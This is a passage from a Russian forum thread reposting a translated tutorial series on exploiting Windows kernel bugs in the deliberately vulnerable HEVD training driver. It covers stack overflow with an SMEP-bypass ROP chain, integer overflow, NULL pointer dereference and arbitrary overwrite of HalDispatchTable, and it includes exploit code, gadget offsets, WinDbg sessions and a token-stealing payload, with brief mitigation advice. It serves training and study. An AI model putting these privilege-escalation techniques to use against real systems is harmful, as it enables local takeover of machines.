fffff802`cdb76b72 btr dword ptr [rdx],0
fffff802`cdb76b76 jb nt!HvlEndSystemInterrupt+0x1e (fffff802`cdb76b7e) Branch

nt!HvlEndSystemInterrupt+0x18:
fffff802`cdb76b78 xor eax,eax
fffff802`cdb76b7a mov edx,eax
fffff802`cdb76b7c wrmsr

nt!HvlEndSystemInterrupt+0x1e:
fffff802`cdb76b7e pop rdx
fffff802`cdb76b7f pop rax
fffff802`cdb76b80 pop rcx // Second gadget!
fffff802`cdb76b81 ret

kd> ? fffff802`cdb76b80 - nt
Evaluate expression: 1514368 = 00000000`00171b80

Гаджет#2 - pop rcx, адрес: nt + 0x171b80

ROP-цепь будет выглядеть следующим образом:

Код:
+------------------+
|pop rcx; ret | // nt + 0x424065
+------------------+
|value of rcx | // ? @cr4 & FFFFFFFF`FFEFFFFF
+------------------+
|mov cr4, rcx; ret | // nt + 0x424065
+------------------+
|addr of payload | // Available from user-mode
+------------------+

Важно отметить, что, если записать больше 8 начальных байт смещения в регистре RIP, следующий фрейм стека будет испорченным.

Восстановление потока выполнения

Рассмотрим подробнее стек перед тем, как вызывается функция memset:

Код:
Breakpoint 1 hit
HEVD!TriggerStackOverflow:
fffff801`71025640 mov qword ptr [rsp+8],rbx
kd> k
# Child-SP RetAddr Call Site
00 ffff830f`5a53a798 fffff801`7102572a HEVD!TriggerStackOverflow [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 65]
01 ffff830f`5a53a7a0 fffff801`710262a5 HEVD!StackOverflowIoctlHandler+0x1a [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 125]
02 ffff830f`5a53a7d0 fffff801`714b02d9 HEVD!IrpDeviceIoCtlHandler+0x149 [c:\hacksysextremevulnerabledriver\driver\hacksysextremevulnerabledriver.c @ 229]
03 ffff830f`5a53a800 fffff801`7190fefe nt!IofCallDriver+0x59
04 ffff830f`5a53a840 fffff801`7190f73c nt!IopSynchronousServiceTail+0x19e

Проблема 1: Возврат к StackOverflowIoctlHandler+0x1a

Хотя адаптация стека для возврата к этому вызову работает, параметр в стеке (адрес структуры Irp) перезаписывается ROP-цепью и, насколько я знаю, не подлежит восстановлению. Впоследствии сей факт приводит к ошибке, связанной с нарушением доступа.

Смотрим инструкции по адресу TriggerStackOverflow+0xbc:

Код:
fffff801`710256f4 lea r11,[rsp+820h]
fffff801`710256fc mov rbx,qword ptr [r11+10h] // RBX should contain Irp's address, this is now overwritten to the new cr4 value

В итоге регистр rbx (в котором ранее хранился адрес IRP, используемого при вызове IrpDeviceIoCtlHandler) содержит новый адрес из регистра cr4, и при последующей попытке получить доступ возникает синий экран.

Код:
fffff801`f88d63e0 and qword ptr [rbx+38h],0 ds:002b:00000000`000706b0=????????????????

Обратите внимание, что rbx содержит новое значение регистра cr4. Эта инструкция соответствует выражению

Код:
Irp->IoStatus.Information = 0;

внутри функции IrpDeviceIoCtlHandler.

Таким образом, мы не можем возвращаться к StackOverflowIoctlHandler+0x1a.

Проблема 2: Возврат к HEVD!IrpDeviceIoCtlHandler+0x149

Эта проблем схожа с той, которая упоминалась выше. Адрес структуры Irp портится и не может быть восстановлен. Выполнение следующих инструкций приводит к ошибке доступа.

Код:
Irp->IoStatus.Status = Status;
Irp->IoStatus.Information = 0;

Вы можете сделать так, чтобы rbx указывал на участок памяти, доступный для записи, однако навряд структура Irp окажется корректной во время вызова следующей функции:

Код:
// Complete the request
IoCompleteRequest(Irp, IO_NO_INCREMENT);

Опять тупик.

Проблема 3: Другие ошибки доступа

Поднимаемся в стеке на уровень выше к адресу nt!IofCallDriver+0x59. В процессе перехода никаких проблем не возникает, однако ошибки доступа в nt все равно есть.

Важно отслеживать состояние всех регистров при выполнении IOCTL-кода и во время обычных вызовов и во время вызовов, связанных с эксплуатацией уязвимости.

В нашем случае особое внимание следует уделять регистрам rdi и rsi. К сожалению, в системах x64 параметры передаются в регистры, и эти два регистра заполняются в функции HEVD!TriggerStackOverflow.

Код:
fffff800`185756f4 lea r11,[rsp+820h]
fffff800`185756fc mov rbx,qword ptr [r11+10h]
fffff800`18575700 mov rsi,qword ptr [r11+18h] // Points to our first gadget
fffff800`18575704 mov rsp,r11
fffff800`18575707 pop rdi // Points to our corrupted buffer ("AAAAAAAA")
fffff800`18575708 ret

Эти два регистра обнуляются, если вы используете входной буфер, который не перезаписывает инструкцию RET (можно провести эксперимент, отправив небольшой буфер и проверив состояние вышеуказанных регистров перед возвратом из функции TriggerStackOverflow). Хотя это утверждение не является справедливым в случае порчи стека.

Иногда при достижении адреса nt!IofCallDriver+0x59 состояние регистров rsi и rdi может быть таким:

Код:
kd> u @rip
nt!ObfDereferenceObject+0x5:
fffff800`152381c5 mov qword ptr [rsp+10h],rsi
fffff800`152381ca push rdi
fffff800`152381cb sub rsp,30h
fffff800`152381cf cmp dword ptr [nt!ObpTraceFlags (fffff800`15604004)],0
fffff800`152381d6 mov rsi,rcx
fffff800`152381d9 jne nt!ObfDereferenceObject+0x160d16 (fffff800`15398ed6)
fffff800`152381df or rbx,0FFFFFFFFFFFFFFFFh
fffff800`152381e3 lock xadd qword ptr [rsi-30h],rbx
kd> ? @rsi
Evaluate expression: -8795734228891 = fffff800`1562c065 // Address of mov cr4,rcx instead of 0
kd> ? @rdi
Evaluate expression: 4702111234474983745 = 41414141`41414141 // Some offset from our buffer instead of 0

Поскольку регистры находятся не в том состоянии, которое нам нужно, мы можем просто иногда выполнять обнуление перед выполнением вышеуказанного кода. Например, сразу же после выполнения полезной нагрузки, предназначенной для кражи токена.

Код:
xor rsi, rsi
xor rdi, rdi

Последний шаг – добавление 0x40 в регистр rsp, чтобы в стеке была ссылка на фрейм по адресу nt!IofCallDriver+0x59.

Полная версия эксплоита находится здесь.

Как защититься от уязвимости

Несмотря на то, что мы имеем дело с банальной проблемой, связанной с переполнением стека, подобное все еще происходит повсеместно. Ключевые способы защиты:
  • Обрабатывать входные параметры. Не доверять пользовательским данным (и размеру этих данных). Использовать верхние/нижние границы.
  • Использовать параметр /GS (stack cookies).
Еще один железобетонный метод: писать драйвера для ядра только в случае крайней необходимости J.

Резюме
  • На первый взгляд, обход SMEP выглядит пугающе, однако, как вы могли убедиться, даже небольшая ROP-цепь способна справиться с этой задачей.
  • Восстановление потока выполнения может оказаться непростым из-за ошибок доступа. У каждого фрейма стека могут быть свои нюансы.
  • Важно следить за состоянием регистров. Обращайте внимание, на какие регистры влияет ваш эксплоит и, по возможности, восстанавливайте состояние этих регистров.
  • Смещения меняются крайней часто. Вполне вероятно, этот эксплоит не будет работать после следующего обновления.
Ссылки
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 5 – Целочисленное переполнение

Автор:
Mohamed Shahat

В этой части будет рассмотрена обычная уязвимость на базе целочисленного переполнения. Многое будет взято из 3 и 4 части, поэтому эта статья довольно короткая.

Код экспоита находится здесь.

Суть уязвимости

Код находится здесь.

Код:
NTSTATUS TriggerIntegerOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
ULONG Count = 0;
NTSTATUS Status = STATUS_SUCCESS;
ULONG BufferTerminator = 0xBAD0B0B0;
ULONG KernelBuffer[BUFFER_SIZE] = {0};
SIZE_T TerminatorSize = sizeof(BufferTerminator);

PAGED_CODE();

__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));

DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

#ifdef SECURE
// Secure Note: This is secure because the developer is not doing any arithmetic
// on the user supplied value. Instead, the developer is subtracting the size of
// ULONG i.e. 4 on x86 from the size of KernelBuffer. Hence, integer overflow will
// not occur and this check will not fail
if (Size > (sizeof(KernelBuffer) - TerminatorSize)) {
DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);

Status = STATUS_INVALID_BUFFER_SIZE;
return Status;
}
#else
DbgPrint("[+] Triggering Integer Overflow\n");

// Vulnerability Note: This is a vanilla Integer Overflow vulnerability because if
// 'Size' is 0xFFFFFFFF and we do an addition with size of ULONG i.e. 4 on x86, the
// integer will wrap down and will finally cause this check to fail
if ((Size + TerminatorSize) > sizeof(KernelBuffer)) {
DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);

Status = STATUS_INVALID_BUFFER_SIZE;
return Status;
}
#endif

// Perform the copy operation
while (Count < (Size / sizeof(ULONG))) {
if (*(PULONG)UserBuffer != BufferTerminator) {
KernelBuffer[Count] = *(PULONG)UserBuffer;
UserBuffer = (PULONG)UserBuffer + 1;
Count++;
}
else {
break;
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

return Status;
}

Как можно понять по комментариям в коде выше, мы имеем дело с обычным целочисленным переполнением, которое стало возможным из-за того, что программист не предусмотрел передачу в драйвер буфера слишком большого объема. Любой размер от 0xfffffffc до 0xffffffff позволяет обойти проверку. Обратите внимание, что операция копирования завершается, если встречается символ завершения (хотя все же должно быть 4-байтовое выравнивание). Таким образом, нам не обязательно указывать размер буфера равный тому размеру, который мы передаем.

Эксплуатация уязвимости в системах x64

Параметр InBufferSize, передаваемый в функцию DeviceIoControl, размером DWORD или 4 байта. В 64-битном драйвере по адресу HEVD!TriggerIntegerOverflow+97 выполняется следующая проверка:

Код:
fffff800`bb1c5ac7 lea r11,[r12+4]
fffff800`bb1c5acc cmp r11,r13

В коде выше происходит сравнение 64-битных регистров (префикс/суффикс для преобразования к 32-битному представлению не используется). Соответственно, регистр r11 никогда не переполнится, поскольку туда устанавливается значение 0x100000003, из чего можно сделать вывод, что данную уязвимость нельзя использовать на 64-битных машинах.

Дополнение: как оказалось, причина, по которой обработка в 64-битных архитектурах выполняется корректно, в том, что все эти значения размером size_t.

Контроль потока выполнения

Вначале нужно выяснить для регистра EIP. Необходимо отослать небольшой буфер и вычислить смещением между адресом буфера в ядре и адресом возврата:

Код:
kd> g
[+] UserBuffer: 0x00060000
[+] UserBuffer Size: 0xFFFFFFFF
[+] KernelBuffer: 0x8ACF8274
[+] KernelBuffer Size: 0x800
[+] Triggering Integer Overflow
Breakpoint 3 hit
HEVD!TriggerIntegerOverflow+0x84:
93f8ca58 add esp,24h

kd> ? 0x8ACF8274 - @esp
Evaluate expression: 16 = 00000010
kd> ? (@ebp + 4) - 0x8ACF8274
Evaluate expression: 2088 = 828

Как упоминалось ранее, нам нужно иметь завершающее значение, выровненное по 4 байтам, иначе будет учитываться параметр Size, что в конечном итоге приведет к чтению вне пределов буфера и возможным ошибкам доступа.

Теперь мы знаем, что инструкция RET находится по смещению 2088. Соответственно, завершающее значение должно находиться по смещению 2088 + 4.

Код:
char* uBuffer = (char*)VirtualAlloc(
NULL,
2088 + 4 + 4, // EIP offset + 4 bytes for EIP + 4 bytes for terminator
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);

// Constructing buffer
RtlFillMemory(uBuffer, SIZE, 'A');

// Overwriting EIP
DWORD* payload_address = (DWORD*)(uBuffer + SIZE - 8);
*payload_address = (DWORD)&StealToken;

// Copying terminator value
RtlCopyMemory(uBuffer + SIZE - 4, terminator, 4);

Того кода, который показан выше, вполне достаточно! В конце полезной нагрузки StealToken необходимо восполнить недостающий фрейм стека посредством вызова оставшихся инструкций (эта тема подробно рассматривалась в третьей части).

Код:
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly

4063


Рисунок 1: Демонстрация работы эксплоита

Полная версия эксплоита находится здесь.

Защита от уязвимости
  1. Уделяйте особое внимание участкам кода, где присутствуют арифметические операции (особенно, если данные, участвующие в этих операциях, приходят со стороны пользователя). Проверяйте, не выходят ли результаты операций, за пределы нижней/верхней границы.
  2. Используйте целочисленный тип, которых хранит все вероятные результаты сложения. Хотя подобное не всегда возможно.
Кроме того, полезно ознакомиться с классом SafeInt.

Резюме
  1. Данная уязвимость не пригодна к эксплуатации в 64-битных системах из-за метода проверки двух 64-битных регистров. Максимальное значение, передаваемое в функцию DeviceIoControl, никогда не будет переполнено.
  2. Передаваемый буфер должен содержать 4-байтовое завершающее значение. Этот трюк является самым простым при конструировании полезной нагрузки, которая должна удовлетворять определенным критериям.
  3. Хотя наш буфер не очень большого размера, оповещение драйвера о ложном размере все равно возможно.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 6 – Разыменование пустого указателя

Автор:
Mohamed Shahat

Код эксплоита находится здесь.

Кучи (пулы) в режиме ядра

Кучи представляют собой динамически выделяемые области памяти в отличие от стека, размер которого фиксирован.

Кучи, размещаемые для компонентов в режиме ядра, называются пулами и делятся на два основных типа:
  • Невытесняемый пул (non-paged pool): эти пулы гарантировано находятся в оперативной памяти и в основном используются для хранения данных, к которым будет доступ во время аппаратного прерывания (в тот момент, когда система не может обрабатывать ошибки страниц памяти). Выделение подобной памяти выполняется через процедуру ExAllocatePoolWithTag.
  • Вытесняемый пул (paged pool): этот тип памяти может вытесняться внутрь и наружу файла подкачки, который обычно располагается в корневой директории Windows (например, C:\pagefile.sys).
Выделение такой памяти выполняется через процедуру ExAllocatePoolWithTag с указанием типа пула (параметр poolType) и 4-байтового «тега».

Для мониторинга выделений пулов можно пользоваться утилитой poolmon.

Если вы хотите поглубже вникнуть в тему, связанную с пулами, рекомендую ознакомиться со статьей «Pushing the Limits of Windows: Paged and Nonpaged Pool»(и всеми остальными частями из данной серии тоже).

Суть уязвимости

Код находится здесь.

Код:
NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) {
ULONG UserValue = 0;
ULONG MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;
PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;

PAGED_CODE();

__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer,
sizeof(NULL_POINTER_DEREFERENCE),
(ULONG)__alignof(NULL_POINTER_DEREFERENCE));

// Allocate Pool chunk
NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
ExAllocatePoolWithTag(NonPagedPool,
sizeof(NULL_POINTER_DEREFERENCE),
(ULONG)POOL_TAG);

if (!NullPointerDereference) {
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");

Status = STATUS_NO_MEMORY;
return Status;
}
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
}

// Get the value from user mode
UserValue = *(PULONG)UserBuffer;

DbgPrint("[+] UserValue: 0x%p\n", UserValue);
DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);

// Validate the magic value
if (UserValue == MagicValue) {
NullPointerDereference->Value = UserValue;
NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;

DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
}
else {
DbgPrint("[+] Freeing NullPointerDereference Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);

// Free the allocated Pool chunk
ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);

// Set to NULL to avoid dangling pointer
NullPointerDereference = NULL;
}

#ifdef SECURE
// Secure Note: This is secure because the developer is checking if
// 'NullPointerDereference' is not NULL before calling the callback function
if (NullPointerDereference) {
NullPointerDereference->Callback();
}
#else
DbgPrint("[+] Triggering Null Pointer Dereference\n");

// Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
// because the developer is not validating if 'NullPointerDereference' is NULL
// before calling the callback function
NullPointerDereference->Callback();
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

return Status;
}

Невытесняемая память пула выделяется равной размеру структуры NULL_POINTER_DEREFERENCE вместе с 4-байтовым тегом kcaH. Структура содержит два поля:

Код:
typedef struct _NULL_POINTER_DEREFERENCE {
ULONG Value;
FunctionPointer Callback;
} NULL_POINTER_DEREFERENCE, *PNULL_POINTER_DEREFERENCE;

В системах x86 структура занимает 8 байт и содержит указатель функции. Если пользовательский буфер содержит MagicValue, указатель функции NullPointerDereference->Callback будет указывать на функцию NullPointerDereferenceObjectCallback. Но что произойдет, если мы не будет передавать это значение?

В этом случае память пула освобождается и структуре NullPointerDereference присваивается значение NULL, чтобы избежать повисшего указателя. Однако этот трюк допустим только, если присутствует проверка, которую нужно делать каждый раз, когда вы используете данный указатель. Если просто установить значение NULL и не выполнять никаких проверок, то, как будет показано дальше, последствия могут быть печальны. В нашем случае функция Callback вызывается без проверки на предмет нахождения внутри корректной структуры. В итоге все заканчивается чтением с пустой страницы (первых 64 Кбайт), которая находится в пространстве пользователя.

То есть NullPointerDereference представляет собой структуру по адресу 0x00000000, и NullPointerDereference->Callback() вызывает то, что находится по адресу 0x00000004.

Схема эксплуатации данной фитчи выглядит следующим образом:
  • Выделяем пустую страницу.
  • Размещаем адрес полезной нагрузки по адресу 0x4.
  • Инициируем разыменование пустой страницы через IOCTL драйвера.
Краткая история защит от уязвимостей, связанных с разыменованием пустой страницы

Прежде чем продолжить, рассмотрим, что уже предпринималось разработчиками Windows для предотвращения атак с использованием уязвимостей, связанных с разыменованием пустого указателя.
  • EMET (Enhanced Mitigation Experience Toolkit) – средство защиты в том числе от атак на базе разыменования пустой страницы. После выделения на пустую страницу ставится пометка «NOACCESS». На данный момент EMET не используется, а некоторые функции этой утилиты встроены в Windows 10 и являются частью системы защиты от эксплоитов.
  • Начиная с Windows 8, выделение первых 64 Кбайт запрещено. Единственное исключение – если разрешен компонент NTVDM, который по умолчанию отключен.
То есть в Windows 10 эту уязвимость эксплуатировать не получится. Если хотите попробовать, нужно включить NTVDM, после чего потребуется обход SMEP (см. четвертую часть).

Статьи, рекомендованные для изучения:
Выделение пустой страницы

Перед началом взаимодействия с драйвером нам нужно выделить пустую страницу и разместить адрес полезной нагрузки по адресу 0x4. Выделить пустую страницу через VirtualAllocEx не получится. Альтернативный вариант: нахождение адреса функции NtAllocateVirtualMemory в ntdll.dll и передача небольшого ненулевого базового адреса, который будет округлен до значения NULL.

Чтобы найти адрес вышеуказанной функции, вначале мы будем использовать GetModuleHandle для получения адреса ntdll.dll, а затем GetProcAddress для получения адреса процесса.

Код:
typedef NTSTATUS(WINAPI *ptrNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG AllocationSize,
ULONG AllocationType,
ULONG Protect
);

ptrNtAllocateVirtualMemory NtAllocateVirtualMemory = (ptrNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
printf("[-] Failed to export NtAllocateVirtualMemory.");
exit(-1);
}

Затем нужно выделить пустую страницу:

Код:
// Copied and modified from http://www.rohitab.com/discuss/topic/34884-c-small-hax-to-avoid-crashing-ur-prog/
LPVOID baseAddress = (LPVOID)0x1;
ULONG allocSize = 0x1000;
char* uBuffer = (char*)NtAllocateVirtualMemory(
GetCurrentProcess(),
&baseAddress, // Putting a small non-zero value gets rounded down to page granularity, pointing to the NULL page
0,
&allocSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);

Чтобы проверить работоспособность метода, размещаем функцию DebugBreak и проверяем содержимое памяти после записи какого-либо значения.

Код:
DebugBreak();
*(INT_PTR*)uBuffer = 0xaabbccdd;
kd> t
KERNELBASE!DebugBreak+0x3:
001b:7531492f ret

kd> ? @esi
Evaluate expression: 0 = 00000000

kd> t
HEVD!main+0x1a4:
001b:002e11e4 mov dword ptr [esi],0AABBCCDDh

kd> t
HEVD!main+0x1aa:
001b:002e11ea movsx ecx,byte ptr [esi]

kd> dd 0
00000000 aabbccdd 00000000 00000000 00000000
00000010 00000000 00000000 00000000 00000000
00000020 00000000 00000000 00000000 00000000
00000030 00000000 00000000 00000000 00000000
00000040 00000000 00000000 00000000 00000000
00000050 00000000 00000000 00000000 00000000
00000060 00000000 00000000 00000000 00000000
00000070 00000000 00000000 00000000 00000000

Прекрасный способ проверить, выделена ли пустая страница – вызывать VirtualProtect, которая запрашивает/устанавливает защитные флаги на страницы памяти. Если функция VirtualProtect возвращает false, значит, пустая страница не выделена.

Контроль потока выполнения

Теперь нам нужно разместить адрес полезной нагрузки по адресу 0x00000004:

Код:
*(INT_PTR*)(uBuffer + 4) = (INT_PTR)&StealToken;

Создаем буфер для отсылки драйверу и устанавливаем точку останова по адресу HEVD!TriggerNullPointerDereference + 0x114.

Код:
kd> dd 0
00000000 00000000 0107129c 00000000 00000000
00000010 00000000 00000000 00000000 00000000
00000020 00000000 00000000 00000000 00000000
00000030 00000000 00000000 00000000 00000000
00000040 00000000 00000000 00000000 00000000
00000050 00000000 00000000 00000000 00000000
00000060 00000000 00000000 00000000 00000000
00000070 00000000 00000000 00000000 00000000

После запуска полезной нагрузки и кражи токена инструкция ret выполняется, и корректировка стека не требуется.

4064


Рисунок 1: Демонстрация работы эксплоита

Портирование эксплоита для Windows 7 x64

Чтобы эксплоит заработал в системе Windows 7 x64 нужно поменять смещение, по которому будет записываться адрес полезной нагрузки, поскольку размер структуры становится 16 байт. Кроме того, не забудьте выгрузить полезную нагрузку.

Код:
*(INT_PTR*)(uBuffer + 8) = (INT_PTR)&StealToken;
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 7 – Произвольная перезапись (Win7 x86)

Автор:
Mohamed Shahat

Код эксплоита находится здесь.

Для систем на базе Win 10 x64 эта тема будет рассматриваться в следующей статье.

Суть уязвимости

Код находится здесь.

Код:
NTSTATUS TriggerArbitraryOverwrite(IN PWRITE_WHAT_WHERE UserWriteWhatWhere) {
PULONG_PTR What = NULL;
PULONG_PTR Where = NULL;
NTSTATUS Status = STATUS_SUCCESS;

PAGED_CODE();

__try {
// Verify if the buffer resides in user mode
ProbeForRead((PVOID)UserWriteWhatWhere,
sizeof(WRITE_WHAT_WHERE),
(ULONG)__alignof(WRITE_WHAT_WHERE));

What = UserWriteWhatWhere->What;
Where = UserWriteWhatWhere->Where;

DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);

#ifdef SECURE
// Secure Note: This is secure because the developer is properly validating if address
// pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()
// routine before performing the write operation
ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));

*(Where) = *(What);
#else
DbgPrint("[+] Triggering Arbitrary Overwrite\n");

// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
// because the developer is writing the value pointed by 'What' to memory location
// pointed by 'Where' without properly validating if the values pointed by 'Where'
// and 'What' resides in User mode
*(Where) = *(What);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

return Status;
}

Уязвимость довольно очевидна. Функция TriggerArbitraryOverwrite позволяет записывать нужное значение по нужному адресу. Эта возможность, конечно, очень полезная, однако необходимо разобраться, сможем ли мы воспользоваться этой уязвимостью без других брешей.

Рассмотрим некоторые сценарии (которые не сработают, но тем не менее полезны для обдумывания):
  1. Перезапись адреса возврата:
    • Потребуется информационная утечка для выяснения структуры стека или примитив для чтения.
  2. Перезапись токена текущего процесса токеном процесса SYSTEM:
    • Нужно знать адрес EPROCESS процесса SYSTEM.
  3. Перезапись указателя функции, вызываемой с привилегиями ядра:
    • В статье Exploiting Common Flaws in Drivers десятилетней давности описывается надежная техника для решения этой задачи.
hal.dll, HalDispatchTableи указатели функций

В библиотеке hal.dll реализован слой аппаратных абстракций (Hardware Abstraction Layer), который позволяет взаимодействовать с оборудованием без вникания в технические детали. Эта библиотека позволяет Windows работать на разном оборудовании.

В таблице HalDispatchTable хранятся указатели функций на процедуры, используемые в HAL. Рассмотрим эту таблицу повнимательнее.

Код:
kd> dd HalDispatchTable // Display double words at HalDispatchTable
82970430 00000004 828348a2 828351b4 82afbad7
82970440 00000000 828455ba 829bc507 82afb3d8
82970450 82afb683 8291c959 8295d757 8295d757
82970460 828346ce 82834f30 82811178 82833dce
82970470 82afbaff 8291c98b 8291caa1 828350f6
82970480 8291caa1 8281398c 8281b4f0 82892c8c
82970490 82af8d7f 00000000 82892c9c 829b3c1c
829704a0 00000000 82892cac 82af8f77 00000000

kd> ln 828348a2
Browse module
Set bu breakpoint

(828348a2) hal!HaliQuerySystemInformation | (82834ad0) hal!HalpAcpiTimerInit
Exact matches:
hal!HaliQuerySystemInformation (<no parameter info>)

kd> ln 828351b4
Browse module
Set bu breakpoint

(828351b4) hal!HalpSetSystemInformation | (82835234) hal!HalpDpReplaceEnd
Exact matches:
hal!HalpSetSystemInformation (<no parameter info>)

В первой записи таблицы HalDispatchTable не содержится ничего интересного. HalDispatchTable+4 указывает на процедуру HaliQuerySystemInformation, и HalDispatchTable+8 указывает на процедуру HalpSetSystemInformation.

Эти адреса доступны для записи и легко вычисляемы (подробнее об этом позже). Процедура HaliQuerySystemInformation используется реже, и, соответственно, мы можем разместить шелл-код по адресу HalDispatchTable+4 и сделать вызов из режима пользователя, который в конечно итоге приведет к вызову этой функции.

HaliQuerySystemInformation вызывается из незадокументированной функции NtQueryIntervalProfile (которая, согласно статье, приведенной выше, «очень редко используется»). Рассмотрим эту функцию в WinDBG:

Код:
kd> uf NtQueryIntervalProfile

...snip...

nt!NtQueryIntervalProfile+0x6b:
82b55ec2 call nt!KeQueryIntervalProfile (82b12c97)

...snip...

kd> uf nt!KeQueryIntervalProfile

...snip...

nt!KeQueryIntervalProfile+0x14:
82b12cab mov dword ptr [ebp-10h],eax
82b12cae lea eax,[ebp-4]
82b12cb1 push eax
82b12cb2 lea eax,[ebp-10h]
82b12cb5 push eax
82b12cb6 push 0Ch
82b12cb8 push 1
82b12cba call dword ptr [nt!HalDispatchTable+0x4 (82970434)]
82b12cc0 test eax,eax
82b12cc2 jl nt!KeQueryIntervalProfile+0x38 (82b12ccf) Branch

...snip...

Функция по адресу [nt!HalDispatchTable+0x4] вызывается по адресу nt!KeQueryIntervalProfile+0x23. Этот вызов мы можем инициировать из режима пользователя, и, надеюсь, после перезаписи не возникнет никаких проблем.

Эксплоит будет делать следующее:
  1. Получать местонахождение таблицы HalDispatchTable в ядре.
  2. Перезаписывать HalDispatchTable+4 адресом полезной нагрузки.
  3. Вычислять адрес NtQueryIntervalProfile и вызывать эту функцию.
Получение адреса таблицы HalDispatchTable

HalDispatchTable в управляющем модуле ядра (ntoskrnl или другом инстансе в зависимости от ОС/процессора). Чтобы вычислить адрес этой таблицы, нам нужно:
  1. Получить базовый адрес ядра в ядре при помощи функции NtQuerySystemInformation.
  2. Загрузить ядро в режиме пользователя и получить смещение до таблицы HalDispatchTable.
  3. Добавить смещение к базовому адресу ядра.
Код:
SYSTEM_MODULE krnlInfo = *getNtoskrnlInfo();
// Get kernel base address in kernelspace
ULONG addr_ntoskrnl = (ULONG)krnlInfo.ImageBaseAddress;
printf("[+] Found address to ntoskrnl.exe at 0x%x.\n", addr_ntoskrnl);

// Load kernel in use in userspace to get the offset to HalDispatchTable
// NOTE: DO NOT HARDCODE KERNEL MODULE NAME
printf("[+] Kernel in use: %s.\n", krnlInfo.Name);
char* krnl_name = strrchr((char*)krnlInfo.Name, '\\') + 1;
HMODULE user_ntoskrnl = LoadLibraryEx(krnl_name, NULL,DONT_RESOLVE_DLL_REFERENCES);
if(user_ntoskrnl == NULL)
{
printf("[-] Failed to load kernel image.\n");
exit(-1);
}

printf("[+] Loaded kernel in usermode using LoadLibraryEx: 0x%x.\n",user_ntoskrnl);
ULONG user_HalDispatchTable = (ULONG)GetProcAddress(user_ntoskrnl,"HalDispatchTable");
if(user_HalDispatchTable == NULL)
{
printf("[-] Failed to locate HalDispatchTable.\n");
exit(-1);
}

printf("[+] Found HalDispatchTable in usermode: 0x%x.\n",user_HalDispatchTable);

// Calculate address of HalDispatchTable in kernelspace
ULONG addr_HalDispatchTable = addr_ntoskrnl - (ULONG)user_ntoskrnl +user_HalDispatchTable;
printf("[+] Found address to HalDispatchTable at 0x%x.\n",addr_HalDispatchTable);

Перезапись HalDispatchTable+4

Для перезаписи этого адреса нам нужно передать буфер, который приводится к структуре WRITE_WHAT_WHERE, содержащей два указателя: what (что записываем) и where (куда записываем).

Код:
typedef struct _WRITE_WHAT_WHERE {
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

Не забываем, что имеем дело с указателями:

Код:
ULONG What = (ULONG)&StealToken;
*uBuffer = (ULONG)&What;
*(uBuffer + 1) = (addr_HalDispatchTable + 4);

DWORD bytesRet;
DeviceIoControl(
